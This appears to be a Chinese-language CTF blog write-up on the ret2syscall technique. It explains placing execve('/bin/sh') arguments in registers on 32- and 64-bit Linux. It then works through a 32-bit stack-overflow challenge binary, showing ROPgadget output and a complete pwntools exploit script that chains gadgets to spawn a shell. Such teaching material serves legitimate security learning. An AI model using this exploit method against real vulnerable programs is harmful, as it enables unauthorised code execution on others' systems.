目录

  1. 1. 前言
  2. 2. 原理
    1. 2.1. 32位
    2. 2.2. 64位
  3. 3. 例子

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ret2syscall

2025/3/18 Pwn ROP
  |     |   总文章阅读量:

前言

参考:

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2syscall

https://www.cnblogs.com/TFIRE/p/18451033

https://blog.51cto.com/u_16356440/8609513


原理

控制程序执行系统调用,获取 shell

这里利用的系统调用主要是 execve,参考:https://man7.org/linux/man-pages/man2/execve.2.html

#include <unistd.h>

int execve(const char *pathname, char *const _Nullable argv[], char *const _Nullable envp[]);

而我们要调用 shell 就需要这样写:

#include <stdio.h>

int main(int argc, char const *argv[])
{
    static char *newargv[] = {NULL};
    static char *newenviron[] = {NULL};
    execve("/bin/sh", newargv, newenviron);
}

image-20250319003035672

32位

我们的目的是要把对应获取 shell 的系统调用的参数放到对应的寄存器中。即:execve("/bin/sh",NULL,NULL)

在32位程序下,需要往寄存器放入的参数是:

想要存入参数就需要构造 rop 链,那么就需要使用 ROPgadgets 获取寄存器的地址

ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
ROPgadget --binary rop --string '/bin/sh'
ROPgadget --binary rop --only 'int'

尽量找寄存器连在一起的地址方便直接修改


64位

64位传参的寄存器是 rdi->rsi->rdx->rcx->r8->r9

把需要的系统调用号给 rax,把 rdx ,rsi 置零(因为是 pop 释放参数,所以与传参顺序相反)

触发中断,ret 返回的函数名不同:64位为 syscall ret

那么64位下的 shell 是:

  • rax:59
  • rdi:bin_sh_addr
  • rsi:0
  • rdx:0
  • rcx:0
  • syscall

然后找寄存器地址和 32 位一样


例子

image-20250319001104065

32位开NX

反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

依旧是一个 gets 栈溢出,这里的实际偏移是 cyclic -l 测出来的 112

image-20250319010136176

还能发现 /bin/sh,就是没有 system 能调用

那么就是打 ret2syscall 了

接下来获取寄存器地址

$ ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

这里选择第二个来控制 eax

同理找 ebx

$ ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

这里选 pop edx ; pop ecx ; pop ebx ; ret,可以直接控制其它三个寄存器

获取 /bin/sh 的地址,其实上面 IDA 已经能看到地址了

$ ROPgadget --binary rop --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh

然后是int 0x80

$ ROPgadget --binary rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80

Unique gadgets found: 1

于是构造我们的 payload:

from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408

payload = b'A'*112
payload += p32(pop_eax_ret) + p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0)
payload += p32(binsh)
payload += p32(int_0x80)

# payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])

sh.sendline(payload)
sh.interactive()

image-20250319010519833